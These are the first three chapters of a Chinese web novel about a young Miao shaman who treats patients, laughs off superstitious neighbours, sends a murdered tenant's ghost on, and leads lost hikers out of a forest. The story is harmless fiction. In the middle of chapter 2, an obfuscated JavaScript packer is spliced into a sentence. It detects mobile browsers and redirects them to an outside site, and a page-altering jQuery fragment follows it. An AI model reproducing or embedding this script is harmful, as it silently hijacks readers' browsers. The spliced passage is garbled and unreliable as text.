《神棍的自我修养》 1. 第 1 章 刺目的光线穿过窗帘的缝隙落在床上,清晨的风带着微凉的气息徐徐吹进来。 邬柳揉了揉疲惫的双眼,失神地看着微微发霉的天花板,思绪还停留在残存的梦境之中,不愿醒来。 “叮咚,你有一条新的短信,请注意查收。” 手机忽然响起的提示音让邬柳心头蓦地惊颤了下,他摸了摸枕头底下,翻出手机,看着系统华夏银行发给他的短信,心凉了半截。 【您的借记卡用户邬柳,于09月15日网上支付支取人民币25元,交易后余额1324.51元(华夏银行)】 “叮咚,你有一条新的短信,请注意查收。” 【[绿江漫画]亲爱的会员,恭喜您自动续费成功,有效期至10月15日,祝你使用愉快!】 邬柳:“……” 邬柳:“淦。” 真是屋漏偏逢连夜雨,他忘记把自动续订给取消了,这25块的会员扣费让他格外心疼。 邬柳生无可恋地从床上爬了起来,随便捯饬了下自己,刚打开门准备去医馆就被门口香灰的味道熏得后退了好几步。 他捂着口鼻轻咳几声,家门口烟雾缭绕,让他顿时有种住在云顶天宫的感觉。 房东在楼梯过道插了一排的香火和蜡烛,把墙熏得一片乌黑色,火盆里的香灰飘得四处都是。 本来这栋房子就是朝东北的方向,光线很差,房东还将唯一的窗户封死了。 如果没有楼梯灯,根本看不清路,而且唯一的那盏楼梯灯好像还坏了,即使没人说话,每天也一闪一闪的。 租客天天在群里喊着要房东来修,房东说没人愿意来,这事也只能作罢。 邬柳看了眼天花板上的灯,叹了口气:“别玩了。” 灯光骤然熄灭,视野陷入一片黑暗。 他险些被门口挂着的柳枝和碌柚叶绊倒。 “...”邬柳默默地把火盆往对面402踹了一脚,刚要走下楼梯,楼上502租户的郝大哥匆忙地跟上他的脚步,“大巫等等我呀!咱俩一起走吧!” 楼梯的灯光又开始一闪一闪的,郝大哥也不敢在他家门口逗留,走在他前面,先走了一步。 在他下楼的那瞬间,邬柳看见趴在他肩膀上的女租客小心翼翼地瞅了他一眼,然后悄悄地飘走了。 邬柳挑了挑眉,从一旁的墙上撕下来一张符纸,随手在符纸上画了一下,将符纸拍到了女租客身上,把她赶回到402号房里面。 郝大哥顿了顿脚步,耸了耸肩,不知道是不是他的错觉,他的肩膀忽然轻松多了,不像刚才那样沉,那么僵硬。 楼道传来一阵古怪的风声,郝大哥吓了一跳,“大巫你有没有听见什么声音?” 邬柳淡定地瞥了他一眼,说:“有声音吗?” 郝大哥站在楼道口,不确定地回头看了一眼,看着那昏暗的楼道,就像一只张开大嘴的巨兽,仿佛要将一切吞噬,他咽了下口水,连忙把大门关上,“可能是我听错了吧。” 邬柳点点头,“那我先走了。” 郝大哥拦住他的去路,满脸哀怨的神色看着他:“大巫你能不能管管她啊,她每天晚上都来骚扰我,我已经好几天都睡不着觉了。” 邬柳好奇地打量了他一眼:“她是怎么骚扰你的?” 郝大哥下意识地捂着身子,支支吾吾地说不出话来。 邬柳眼里闪过一丝微不可察的笑意,郝大哥的工作是健身房教练,一身的肌肉练得邦邦硬,肩宽窄腰大长腿,外形条件十分优越。 他倒是没想到对面的女租客还是个色中饿鬼。 郝大哥面露痛苦,精神明显有些萎靡不振,“我最近晚上天天做噩梦,总有一种毛骨悚然的感觉,晚上我都不敢关灯睡觉,生怕一转身就见到她趴在我床边盯着我。” 说完之后,郝大哥还往他的口袋里塞了几张红票票。 “拜托拜托。” “求求你了。” 邬柳收起八卦的目光,用力地拍了拍他的肩膀,笑道:“今晚你肯定能睡个好觉了。” 女租客已经被他封回房间里面了,一时半会也出不来。 不过长久下去也不是个事,他还是找个时间将她送走吧。 他再也不想出门就是香灰扑脸,也不想看见满墙的符纸,更不想楼道里一股柚子叶的味道。 今日入账500元。 邬柳:(O﹃O) 收人钱财,替人消灾。 他今晚就去收了这女鬼! 当邬柳美滋滋地回到他的小医馆时,熙熙攘攘的人群堵住了他的门口。 看见他走过来,所有来看诊的病人都规规矩矩地喊了一声“大巫”。 邬柳:“都排好队,一个个来,不要着急,疑难杂症留下,感冒咳嗽什么的小毛病自己去医院挂个号,来我这没用。” 他刚给自己消毒完,第一个病人就迫不及待地坐了下来,恳切地看着他,问:“大巫,我还有救吗?” 几乎来这里的病人都会问这么一句话,邬柳已经习惯了。 男人戴着口罩和帽子,把自己遮得严严实实的,可裸露在外的皮肤仍能看见他身上长的红斑,密密麻麻一片。 排在他后面的病人都自动离他一米远,生怕沾到什么病毒。 这种典型的“烂黄瓜”,邬柳连看诊的欲望都没有,给他写了一张药方,淡漠地开口:“去抓药吧,早晚喝一次,喝一个月,喝药期间禁止房事,如果你不想你的黄瓜烂掉,那你最好这一年都老实点。” 男人疯狂点了点头,刚要丢下二十块,邬柳嫌弃地看了一眼,指了指旁边的收款码,说:“我不收现金。” 邬柳看病,无论大小,只收二十块,而且只给药方,需要病人自己去外面的药铺抓药。 要是他从身后的药柜里亲自给你抓药,那你肯定是半只脚踏进棺材里了。 等男人走后,邬柳拿出消毒液将他刚才坐过的椅子仔仔细细地喷洒了一遍。 后面的病人担心地看着这一幕:“大巫,这人不会是有什么传染病吧?” “他的病不通过空气传播,所以你不用担心。”邬柳换上一副新的手套和口罩,微微一笑:“我只是有点洁癖而已。” 下一个病人是个年轻的小帅,同样戴着口罩和帽子,比刚才的烂黄瓜还要谨慎,他的眼神飘忽不定,像是在躲什么人。 “...”邬柳习惯了来他这里看病都是些奇奇怪怪的人,无奈地开口:“说吧,什么病?” 小帅凑近他小声说道:“大巫,听说你能解情蛊是吗?” 邬柳眉梢微挑:“我这里只解孽缘,不解正缘。” 小帅:“那要怎么才能知道是孽缘还是正缘?” 邬柳指了指挂在桌子上的价格表,笑得十分灿烂,“包准的。” 小帅看着牌匾上的“测姻缘300”,嘴角抽搐:“那不就是捆绑销售吗?” 想解蛊还得先算姻缘线,他对自己的姻缘线丝毫不感兴趣,只想解蛊。 邬柳脸上的笑容不减,“要是不测的话,那就下一位。” 小帅默默地拿出手机给他扫了三百块钱,哀怨地看了他一眼,说:“已经给你转了。” “感谢老板。”邬柳根据他的八字,一一推算:“你的正缘已经出现了,他是云南人,你跟他是在旅游的过程中认识的。” 小帅将信将疑地看着他:“真的?” “我算的姻缘从不出错。”邬柳很不满被打断,瞪了他一眼,继续说道:“你的有缘人身高在一米八到一米九之间,他很年轻,比你小两岁,属蛇,目前事业稳定……” 他的话还没说完,就被小帅打断了:“等等!” 邬柳:“怎么?” 小帅惊悚地看着他说道:“我怎么觉得你说的这个人跟给我下蛊的那个人一模一样?!他比我小两岁,属蛇,比我还高一个头,是当地人,我们是在酒吧认识的,他们俩不会是同一个人吧?!” 邬柳:“如果给你下蛊的那个人,他的手心里有颗红痣的话,那么,他就是你的正缘。” “什么?!”小帅差点从椅子上摔了下去,他对那个人的印象最深的就是他手心里的那颗红痣! “那有什么办法可以躲吗?” “或者可以改变吗?” 邬柳摇摇头,微微上扬的眼眸里闪过几丝笑意,轻咳一声,用深沉的语气开口:“姻缘上天注定,无论经历多少波折,你最终都会跟他在一起,是命运的安排。” 小帅怪叫了一声,眼巴巴地看着他说道:“可可可他是个男的啊,我也是个男的啊,大巫你是不是算错了啊,我的正缘怎么可能会是男的呢?而且我还是直男啊!我对男人根本不感兴趣!” 邬柳瞥了他一眼领口藏着的吻痕,淡淡开口:“你命盘中的桃花运很浅,正缘线很深,你俩注定要纠缠一生。” 小帅艰难地咽了下口水,悲愤地说:“这不是强人锁男吗?!” 邬柳摊了摊手:“所以很遗憾,我没办法给你解蛊,还有事吗?没有的话就下一位吧。” “!!!”小帅为自己丢失的三百块愤愤不平,他决定再找其他苗医看看能不能把他身上的情蛊解了,最好是再去找几个算命的师父给他看看,万一跟大巫给他算的不一样呢! 在小帅离开后,来的是一对夫妻。 男人悄悄从怀里掏出一块黄金放在他的面前,看着他的目光如炬,“大巫,我想求个生子秘法,有什么办法吗?” 邬柳闻言皱了皱眉,目光扫过他旁边的女人,女人戴着口罩和帽子,低着头安安静静地坐在他旁边。 女人的身形消瘦,一看就知道气血亏虚,她身上笼罩着一丝阴气。 邬柳将目光转向她的肚子里,那里曾有过两条小生命,他看向女人,缓缓开口:“你的身体很虚弱,哪怕想要孩子也需要先把母体养好,不然就算你怀了身孕,也会流掉。” 女人没说话,男人不耐烦地说道:“你就说能不能生吧?” 邬柳恋恋不舍地看了眼那块黄金,挺重的,应该能卖个五位数,他能一跃成为万元户,但他还是拒绝了男人:“我这里没这种业务。” 男人以为是他的价码不够,又往裤兜里掏出了一块黄金放在邬柳面前,急切地说:“我就想要个儿子,要是双胞胎更好,我还能给你更多报酬。” 邬柳看着一旁闷不做声的女人,总觉得有些悲哀:“有病治病,没病就下一个。” 男人怒气冲冲地看着邬柳,嘴里含着几句脏话。 邬柳只是淡淡地扫了他一眼,什么话都没说。 他身后的柜子动了动,是一只巴掌大的蜘蛛悬挂在蛛网上。 男人见状,讪讪地拉着女人的手走了。 “下一个。” 直到来看诊的病人陆陆续续离开了小医馆,邬柳起身伸了下懒腰,刚要关上医馆的门,看到门口还坐着一位 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老奶奶听后,情绪渐渐稳定了下来,喝完那杯水后,躺在邬柳医馆里的手术床,迷迷糊糊地睡着了。 在她睡着后,邬柳翻了翻她的菜篮子,里面的菌子很新鲜,还带着湿润的泥土,可以看出来是今天早上才捡的。 老人家眉目慈祥,虽然穿得很朴素,但干干净净的。 邬柳在她的手上扎了好几针,然后在她的手指头上割了一道很小的口子,一条肥胖的虫子顺着黑色的污血挤了出来,他用钳子夹起来看了看,“吃得这么撑啊。” 在包扎好伤口之后,老奶奶也跟着醒了。 邬柳把她的菜篮还给了她,在老奶奶懵懂的目光中轻轻笑道:“半个月后再来一趟吧,不用再带菌子了。” 这个年纪上山,万一摔着了怎么办。 在她离开后,邬柳数了数今天的收入。 在医馆忙了一天,还不如郝大哥给得多呢。 他是不是该发展别的业务了? 邬柳去便利店买了两瓶啤酒,十分惬意地回到出租房,刚好碰上来修楼梯灯的房东,她手里还拎着一袋纸钱,看得邬柳头皮发麻,他短时间内实在不想再闻到这个味道了。 房东看见邬柳很高兴,原本绷紧的神经也跟着放松了下来:“哎呀,大巫你终于下班了,我都等你好久了!” 邬柳:“。” 房东恨不得拉着他的手,跟着他的步伐一起走,将他当作强有效的护身符。 “你说这都什么事啊,我这房子以后还能租出去吗?” “原本就剩下几户人,现在他们都说要搬走。” “我都降了一半房租了,他们也不愿意留下来。” “我这房子前几年才建好的,总不能拆了重建吧?” 房东一看见邬柳就想发牢骚。 就在两个月前,住在邬柳对面的402房间发生了一起刑事案件。 直到那位女租户的尸体发臭才被楼里的其他租客发现,报了警。 从那日以后,402房间就被房东锁了起来。 发生这样的事,楼里的租客连押金都不要了,当天就搬离了大半。 房子被传是凶宅,现在大降价都租不出去。 她在整栋楼都挂上了柳枝和碌柚叶,还找大师来给那位女租客做了场法事。 即使这样,还是总传出闹鬼的传闻。 邬柳是新搬进来的租客,而且住的还是死者的对面门。 没别的原因,单纯就是这间房的房租是整个塔塔村最便宜的。 房东甚至不要水电,只象征性地每个月收他一百块钱房租,为了让他答应住下来,房东还给他配套了全部家电,给他的感觉就像是要拿他来做镇宅的...吉祥物? 邬柳自然是乐见其成的。 房东懊恼地研究着手上的灯泡,“我实在不懂怎么换这个灯,要不还是你来吧?” 在听到那句“收钱包到账一百元”后,邬柳麻溜地爬上木梯,帮她把灯泡换了。 不就换个灯泡,有什么难的。 等房东走后,邬柳把老奶奶给他的菌子简单地收拾了下,煮了个菌菇汤面。 吃饱喝足之后,他敲了敲对面的房门,“要不要聊会?” 邬柳感觉脚下的磁场变了变,他带着两瓶啤酒上了六楼天台。 今晚的风很凉快,他给自己开了一罐,把另一罐放在旁边,像一个人在自言自语。 “郝大哥说你老是跑到楼上去吓他,吓得他都不敢睡了。” “都两个月了,你还留在这里干嘛?” “他这家伙阳气很足,你靠近他时就该感觉到了。” “害你的人还在医院里躺着呢,那家伙就算醒了,等着他的也只有无期徒刑。” “你想要他死,还是想要他坐牢?” “我都可以完成你的心愿。” 邬柳听着女租客跟他絮絮叨叨说了一大堆,他把另外一罐啤酒也开了,“反正你也喝不了,还是我替你喝了吧。” 忽然掀起一阵大风,吹乱了他的发丝。 邬柳笑道:“哎呀,你别生气啊。” 喝完那两瓶啤酒后,邬柳拿出一道符纸,咬破指尖画下一道符咒。 看着那道符纸被火燃尽,化成灰散去,邬柳轻轻地说了句:“再见。” 2. 第 2 章 【9月16日晨间新闻,7月14日案件嫌疑人黄某胜在杀害独居女性苏某某后,重伤逃逸,被发现时已陷入重度昏迷,在今日凌晨一点时,黄某胜因多处器官衰竭停止了呼吸,该嫌疑人已离世,案件调查……】 邬柳打了个哈欠,无聊地关掉了电视,他还以为他的邻居会让他先把黄某胜治好,然后狠狠地折磨他一番,再让他痛苦地死去。 没想到邻居只是很平静地说了句,希望黄某胜能一命换一命。 这么痛快地让黄某胜死了,反而让邬柳不痛快了,尤其是当他闻到那股熟悉的香火味道时,他的心情烦闷到了极点。 他把门打开,看着蹲在门口前一边烧着纸钱,一边念念有词的房东,幽幽开口:“你在做什么?” 邬柳突然开门把房东吓了一大跳,她不停地拍着胸脯,大口大口地喘着气,过了很久才平静下来,缓缓说道:“我在给那姑娘烧纸钱呢,那孩子挺可怜的,一个人来塔塔村这边打工,没想到会遇人不淑葬送了性命,她才二十出头啊,希望她能收到我给她烧的纸钱,在下面也好过一些。” 房东伤心地抹了一下眼泪,又往火盆里放一沓纸钱。 邬柳来不及劝阻,只能眼睁睁地看着那火越烧越旺,他揉了揉眉心,无奈地开口:“你在我门口烧,她也收不到啊。” 不知道的还以为房东这是给他烧的纸钱呢。 房东讪讪地笑了笑:“我这不是胆子小嘛,有点害怕。” 邬柳:“。” 你说她胆子小吧,她敢上来烧纸钱,你说她胆子大吧,她又不敢去402门口烧,每天就在他家门口折腾。 邬柳看着地面上新撒的糯米还有香灰,轻叹一口气,这玩意要是有用的话,女租客也不至于天天跑上502房去骚扰郝大哥了。 邬柳好说歹说,终于把她劝服了,让她把房子里的柳枝和碌柚叶都清理掉了,墙上的符纸也都撕了下来,也不再烧什么纸钱了。 楼道口的那扇窗重新打开了,光线斜斜地从窗口处照进来,洒落在地面上。 有一种雨过天晴的感觉。 一觉睡到自然醒的郝大哥看见邬柳笑得十分开心,“大巫,我昨天睡得可好了,也没有做噩梦什么的,真是太感谢你了!” 邬柳还在和房东撕墙上的符纸,头也没抬,只是淡淡地说了句:“恭喜。” 郝大哥这才发现对面402房门上的封条已经拆掉了,贴满了整面墙的符纸也都撕了下来,楼梯的扶手也没再挂柳枝和碌柚叶,连地上的香灰和糯米也都清理得干干净净。 楼梯过道的灯光也不再一闪一闪的,就算没有开灯,也能感觉整条楼梯亮堂了不少,不像往日那样阴森森的。 而且今天的阳光特别好,晒得整个人都热乎乎的。 他下意识地看了一眼邬柳,透过那道清瘦的身影看向身后的402房间,他似乎能感觉到,那位纠缠了他好几天的女租客已经不在了。 郝大哥是个外地人,对邬柳的身份并不是很了解,只是偶尔听当地人提起邬柳时,他能感觉到当地人对邬柳那种恭敬的态度,并赋予其神话色彩,让郝大哥一度对邬柳的人设保持了质疑。 邬柳太年轻了,他不仅长着一张二十岁出头的脸,还丝毫没有年轻人的朝气,反而能在他身上感觉到一种岁月的沉淀,还有他所表现出来的那种从容不迫的冷静态度都令人着迷。 这种反差感让郝大哥一直怀疑邬柳的真实年龄,到底是他所看到的二十多岁,还是比他想象中的还要大上十倍,百倍。 真的有人能活这么久吗? 还是说苗族的大巫有什么长生不老的秘术? 郝大哥曾经在一个老者身上听到过关于邬柳的故事,那位老者如今已经八十多岁,可他却说自己三十岁那年上山捡菌子的时候迷路了,要不是他幸运地遇见了大巫,可能都走不出那座大山。 可那已经是五十年前的事情了,当年迷路的那位年轻人如今已年过花甲,满头白发,而邬柳却还是二十岁出头的样貌,古怪得很。 郝大哥更愿意相信是那位老者老了,记忆模糊,时间线错乱了。 直到他被楼下402的女租客骚扰,他不得不找上这位充满神秘色彩的大巫。 一开始,他也以为自己是因为太过劳累才会出现被女租客调戏的错觉,随着次数越来越多,他渐渐觉得不对劲,自己是真的被楼下402住户给缠上了。 在求助邬柳的那天,他看见邬柳朝他身后看了一眼,当时楼道里只有他跟邬柳两个人,那邬柳是在看什么呢? 那时他就明白了,邬柳跟他一样,也能感觉到那位女租客的存在。 见了邬柳之后,他明显地感觉到自己身上那股莫名的沉重感消失了,家里也没再发生什么奇怪的事情。 他坚信一定是邬柳做了什么,把那位女租客从他身上赶走了。 这一觉睡得郝大哥浑身舒畅,他丝毫不介意邬柳的冷淡,甚至还高兴地跟他闲聊起来:“我明天要去宜梨县出差,听说那边的牛肉干做得特别好,我给你带些回来吧?” 听到“牛肉干”三个字,邬柳双眼发亮,目光灼灼地看着他,丝毫没有跟他客气:“五香味和香辣味的各带一斤,谢谢。” 郝大哥笑道:“没问题,我看看还有没有其他特产,也带回来给你尝尝。” 邬柳盯着他的脸,笑容淡了几分,他从墙上撕下一张符纸,拿着不知道从哪里掏出来的笔,在符纸上画了一个复杂的图腾,然后把符纸折叠成三角形状,递给了郝大哥:“你把这枚护身符带上吧。” 郝大哥愣了愣,不明所以,但他还是双手虔诚地接过这枚护身符,笑道:“我一定24小时都带着它!” 邬柳继续撕着墙上的符纸,轻轻笑道:“一路顺风。” …… …… 搞了大半天,他终于陪着房东把楼里的垃圾都清理掉了,怒赚三百块钱! 摸着这热乎乎的红票票,邬柳不得不感叹,好像做什么都比他开医馆有前途。 两年前九黎部落的那场大火被曝光在社交媒体后,社会对原始森林的关注度提高了不少,在越来越多户外博主来森林探险之后,当地旅游业的GDP直线上涨,有关部门特意开辟了一条为游客提供的原始森林探险路线,可以直达塔塔村。 两年后的塔塔村逐渐商业化,到处都是旅店和餐馆,还有各种美食文化街。 塔塔村的药草包卖得很好,最便宜也要五十块钱一个,可以驱蚊虫,静心凝神,算是当地的特色之一,吸引了许多顾客前来购买。 邬柳:(O﹃O) 他也会做药草包啊,这不比他开医馆赚钱吗?! 所以在医馆打烊之后,邬柳雄气赳赳地进了趟森林,弄点做药草包的材料,顺便找几味药材。 他进山的路线跟游客进山的路线不一样,所以一路上几乎碰不到什么人。 原始森林的雾气很重,脚下的青苔还能踩出水来。 山蚂蟥最喜欢这样潮湿的环境,所以原始森林遍地都是山蚂蟥,它们能探测到人类身上所散发的热量,藏在植被里等待猎物的到来,当人类靠近的时候,他们会爬到人类身上吸食血液。 感觉到邬柳身上散发的热量,让藏在密林里的山蚂蟥蠢蠢欲动,但邬柳身上的味道让他们感到害怕,不敢靠近。 邬柳扒拉了一片草丛,把藏在叶子里面的山蚂蟥一条条揪了下来,放在罐子里。 他不喜欢山蚂蟥身上滑溜溜的黏液,所以特意戴了双手套。 原始森林古木参天,茂盛的树冠遮天蔽日,阳光无法穿透密密麻麻的枝叶落在地上,所以森林里的能见度很低,阴暗又潮湿的环境滋生瘴气,还有无数藏在植被下的毒虫。 邬柳捻起一条胖嘟嘟的山蚂蟥看了看,唇边的笑容渐盛:“这可是疏散风热、清热利尿的好药材啊。” 山蚂蟥在他的手上老实得很,不停地蠕动着它的身体,四处逃窜。 邬柳把这一片的山蚂蟥都揪了下来,装了满满一大罐。 正当他准备撤离的时候,看到了潜藏在叶子下的辣条,一条非常漂亮的竹叶青。 三角头的特征十分明显,通体的绿色和周边的环境融为一体,盘在树枝上吐着蛇信子,和邬柳对视了好几秒。 “?”邬柳打量了它一眼,拍了下它的蛇头,在它溜走之前揪住了它的尾巴,将它盘在手里玩了好一会。 森林的雾气越来越重,能见度不超过一米。 邬柳挂在身上的铃铛随着他的步伐轻轻摇晃,发出清脆悦耳的声响。 他就像漫步在自家的后花园,轻松惬意地把玩着手里的小蛇,往森林腹地走去。 因为没有阳光,加上大雾,根本无法分辨现在是什么时候。 邬柳不打算在森林里过夜,这里的湿气太重了,连树干上都挂着水珠,他不喜欢把衣服弄得湿漉漉的。 他加快了步伐,刚要穿过这片丛林,忽然听见一声兽吼,空气仿佛被撕裂般颤动。 尖叫声打破了森林的宁静,邬柳顿住脚步,往传出尖叫声的方向抬了抬脚。 缭绕在山间的云雾渐渐散去,视野变得明亮。 邬柳还未靠近就已经听见了小胖和张哥的声音,远远看去,两人惊恐地挥舞着手里的登山杖,试图吓退距离他们不远的黑熊。 还有几个他见过的年轻人抱团蜷缩在角落里,已经吓得脸都白了。 黑熊一步步靠近,随时有可能扑上去。 小胖把一罐的防熊喷雾都喷完了,黑熊还是没有离开的意思,跟他们保持着一定的距离。 邬柳揉了揉眉心,原来未来也会根据历史轨迹重演。 同样的地方,同样的探险队伍,同样的场景,连熊都是当年的那一只。 甚至他的出现,也是历史轨迹的一个节点。 唯一不一样的是,两年前,他将他们一行人带回了九黎部落,而如今九黎部落的旧址早已化为了灰烬。 那就到这里吧。 他无奈地走进了众人的视野里。 “叮叮咚咚”的铃铛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466919|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声吸引了所有人的目光,邬柳从茂密的草丛里缓缓走了出来。 小胖愣了愣,率先反应过来,惊喜地笑道:“大巫?!” 其他人怔了怔,原来这就是小胖嘴里说的大巫啊。 邬柳淡淡地扫了他们一眼,说:“这里是森林腹地,你们为什么会出现在这里?” 森林腹地是整片原始森林的禁区,里面的磁场混乱,指南针失灵,就算是当地人进去也一样会迷路,若是被困在森林里面,那只有死路一条。 而且越往森林深处走,里面的瘴气就越重,一旦吸入过多的瘴气会中毒陷入昏迷。 除此之外,森林里面还有大量的毒虫,甚至有各种野兽出没。 “森林腹地?”张哥喃喃地重复了邬柳说的话,脸上闪过一丝惊惧的神色:“森林忽然起雾,我们迷路了,所以才会误入了森林腹地,对了,还有那只熊……” 所有人齐齐看向黑熊的位置,而此时的黑熊在看见大巫的那一刻就已经跑了,不知所踪。 张哥倏地松了口气,愧疚地看向他的同伴们,是他判断失误,才会导致大家跟着他一起迷路误闯森林腹地。 如果不是遇见大巫,他们还要跟黑熊一番恶战,哪怕幸运地活下来,也不一定能找到正确的出路。 张哥就像个做错事的小孩,一副低着头等待被训话的模样。 小胖跑到邬柳面前,抱着他的腿嚎啕大哭:“呜呜呜,大巫,吓死我了!” “...”邬柳不习惯安慰小孩,只好僵硬地拍了拍小胖的脑袋,说道:“跟我走吧。” 临走之前,他看了一眼森林深处,原本还想回部落一趟的,没想到会遇到小胖他们几个人,现在只能原路返回了。 今天收益:0。 邬柳: ̄へ ̄ 草率了,下次出门先看看黄历。 小胖很喜欢大巫,紧紧地跟在他的身后,好奇道:“大巫你是进来捡菌子还是采药?要我们帮忙...吗...蛇?!” 他惊恐地看着盘在邬柳头上的那条竹叶青,脸都吓白了。 竹叶青的蛇头往后仰,那双竖瞳死死地盯着他看,不停地吐着蛇信子,做出一副攻击的姿态。 邬柳看着他的目光,才想起那条被他抓来玩的小蛇,他抓住蛇尾把它拽了下来,丢到旁边的草丛,“没事,这蛇很乖的,不会咬人。” 小胖:“???” 夏安:“!!!” 柯恒:“!!!” 小雨:“!!!” 已经被黑熊吓懵的三人小组,再次被吓到了,那条蛇看起来不像很乖的样子。 他们之前听小胖说过,大巫是个很年轻的男人,在他们的想象里,大巫这种充满神秘色彩的人物肯定是满头白发留着长须,仙风道骨的老者模样。 可他们所见到的大巫,是个非常年轻且漂亮的男人,在他脸上看不出任何岁月的痕迹,声音清沉,没有那种上了年纪的沧桑感。 他身着黑色的苗族服饰,颈间带着银饰项圈,腰间挂着几个小铃铛。 他只身一人,走在这危险的森林腹地,却给人一种轻松自如的感觉。 仿佛这里就是他的家,他本就是这森林里的一员。 “对了,陆时呢?” “他有姜祈带着,不会有事的。” 听到“姜祈”这两个字,邬柳顿了顿脚步,喃喃道:“真是晦气啊。” 跟在他身后的小胖疑惑地看了他一眼,“怎么了?” “没什么。”邬柳沿着山路走,扫视着这一路上看见的各种植物。 森林的资源非常丰富,生长着各种各样的植被,邬柳看着杂草堆里的姜,大步跨了进去,将那棵姜徒手拔了出来。 小胖被他的举动吓了一跳,急忙说道:“那里面的山蚂蝗多得很,怎么能就这样进去呢?” “没事,越多越好,懒得我专门去找。”邬柳把不小心落在他身上的那条山蚂蝗揪了下来,放进了他的罐子里。 小胖担忧的话戛然而止,看着他那满满一罐子的山蚂蝗,艰难地咽了下口水。 邬柳:“有水吗?” “有!”夏安连忙把水递了过去。 邬柳用水把姜冲洗赶紧,用小刀切成几块给他们一人分了一块,说:“用姜擦拭人中穴,或者放在嘴里含着吧。” 小胖二话不说放进了嘴里,含糊地开口:“干什么用的呀?” 邬柳拿剩下的水洗了洗手,看着他们发白的脸色解释道:“沿着现在的这条路线回到塔塔村最少需要一个小时,你们中了瘴气,神志不太清醒,很难坚持下去,咬着姜片能帮助你们散寒止呕,辛辣刺激的气味能醒神,也能缓解你们的恶心和头晕的症状。” 几人听后都乖乖地将姜片含在嘴里,时不时咬一口,让辛辣的姜汁刺激他们的味蕾,也让他们能够保持清醒,坚持走下去。 一路上有大巫护航,他们走得很顺利,不再随时随地标记路线,也不再害怕有野兽来袭,在太阳落山之前,终于来到了小胖的家乡,塔塔村。 3. 第 3 章 郝大哥是个健身达人,在塔塔村附近的健身馆做教练,同时还是在社交平台上拥有三百万粉丝的网红。 这次去宜梨县出差就是为了要拍某个健身产品的广告。 郝大哥不是第一次出远门了,有多次出差的经验。 他是个很细心的人,出门之前还特意检查了一遍天气预报,宜梨县最近这几天天气晴朗,不会下雨。 带齐好所有行李物品之后,郝大哥心情愉悦地出了门,对这次的出差之旅充满了期待。 他和司机约好在村口牌坊集合,他已经等了十来分钟了,却迟迟不见司机的身影,打电话过去,结果对方忙音,接着他就收到了平台退单的信息。 郝大哥:??? 明明他出门之前还跟司机确认了时间,对方转头就放了他的鸽子。 郝大哥心情糟糕透了,他无暇顾及要不要投诉对方放他鸽子的行为,他忙着找下一辆车赶去机场,免得错过航班。 七月正是塔塔村的旅游旺季,每天都会有大量游客涌进来,打车特别困难。 【前方排队约33人...】 连专车都要等10个人,郝大哥不停地刷新着网约车APP的页面,焦虑地等待着他的那辆车。 最后,在他的催促下,司机猛踩油门,终于赶在最后一刻登上了飞机。 两个小时后郝大哥落地宜梨县,刚下飞机,他就捂着肚子,一脸菜色想要寻找洗手间,好不容易等他找到厕所冲进去大泻特泻,畅快完之后,他终于想起被他扔在洗手间外面的行李。 郝大哥:??? 他那么大的行李箱呢? 他好像没把行李箱拉进洗手间里面,只放在了外面的大厅! 他匆忙跑了出去,刚好看到一个鬼鬼祟祟的人在接近他的行李箱,急得他大喊:“喂,这是我的行李,你想干嘛?!” 吓得那人撒腿就跑。 等他整理好一切走出机场的时候,天空风云突变,大雨说来就来。 他甚至来不及躲雨,站在路边,默默地抹了一把脸。 等他的网约车到来的时候,他已经浑身湿透了。 司机看着他这副狼狈的模样,给他递了包纸巾:“擦擦吧。” “谢谢。”郝大哥擦了擦发梢上的水珠,衣服黏腻地贴在皮肤上,让他感觉很别扭,无奈地说了句:“刚才还阳光灿烂的,怎么突然就下雨了,天气预报不是说了今天宜梨县不会下雨的吗?” 司机不禁笑出声来:“你是外地游客吧?不知道我们宜梨县七月的天就跟小孩子的脸似的,说变就变。” 郝大哥:“。” 他确实不知道。 等车辆进入市区之后,这场大雨也终于停了。 支付了把车后座弄湿的巨款之后,他终于下了车。 郝大哥:o(╥﹏╥)o 他来到提前订好的酒店,进门先洗了个热水澡,接着跟品牌方的负责人再次确认明天的拍摄流程,在他忙完一切准备安心入睡的时候,猛地想起他放在口袋里的那枚护身符。 “不会弄湿了吧?!” 郝大哥连忙从换下来的湿衣服里翻了翻口袋,他把那枚护身符拿出来的时候发现,护身符干干爽爽的,没有任何被雨水打湿的痕迹,可他的衣服明明都湿透了…… 他奇怪地举起那枚护身符打量了下,他有些好奇邬柳画的是什么图案,又不敢拆开,怕拆开就不灵了。 想了想还是放到了明天要穿的那件衣服的口袋里。 第二天的宜梨县天气晴朗,天空也没什么云彩,可他想起昨天网约车司机的那番话,还是在附近的杂货店里买了一把雨伞随身带着。 广告拍摄的过程并不顺利,不是他的状态不对,就是道具出了问题。 拍摄结束后,郝大哥终于能休息一会,他刚打开一瓶功能饮料,不知道从哪蹿出来的工作人员撞了撞他的手,害他饮料洒了一身。 工作人员不停地向他道歉:“不好意思,我不是故意的!” “...”郝大哥呆怔了好一会,木木地说道:“没事。” 幸好是品牌方这边为了广告效果给他准备了好几套衣服,不然他就要穿着这件脏衣服直到工作结束回到酒店。 在化妆间换衣服的时候,郝大哥摸了摸口袋里的那枚护身符,深深地叹了口气,大巫给他的这是护身符,是拿来保命的,不是什么好运符,所以结束宜梨县的工作后,他是不是该找大巫给他算算,他最近是不是又沾到什么脏东西了? 从他出门的那一刻开始,霉运缠身,到现在这一刻,他就没一件事情是顺利的,倒霉透了。 工作结束之后还有个饭局,品牌方盛情邀请,郝大哥自然不会拒绝。 虽然这次拍摄的过程比较坎坷,幸运的是对方似乎没有怪罪的意思。 在饭局上,郝大哥注意到包间里多了几个陌生的男人,尤其是坐在主位的年轻男人,他看起来大有来头,像27、28岁的样子,穿着白色的衬衫,慵懒地靠在椅背上。 所有人的目光都聚集在男人身上,说着恭维的话,仿佛在取悦男人。 男人并未开口,只是眉宇间带着几缕淡淡的笑意。 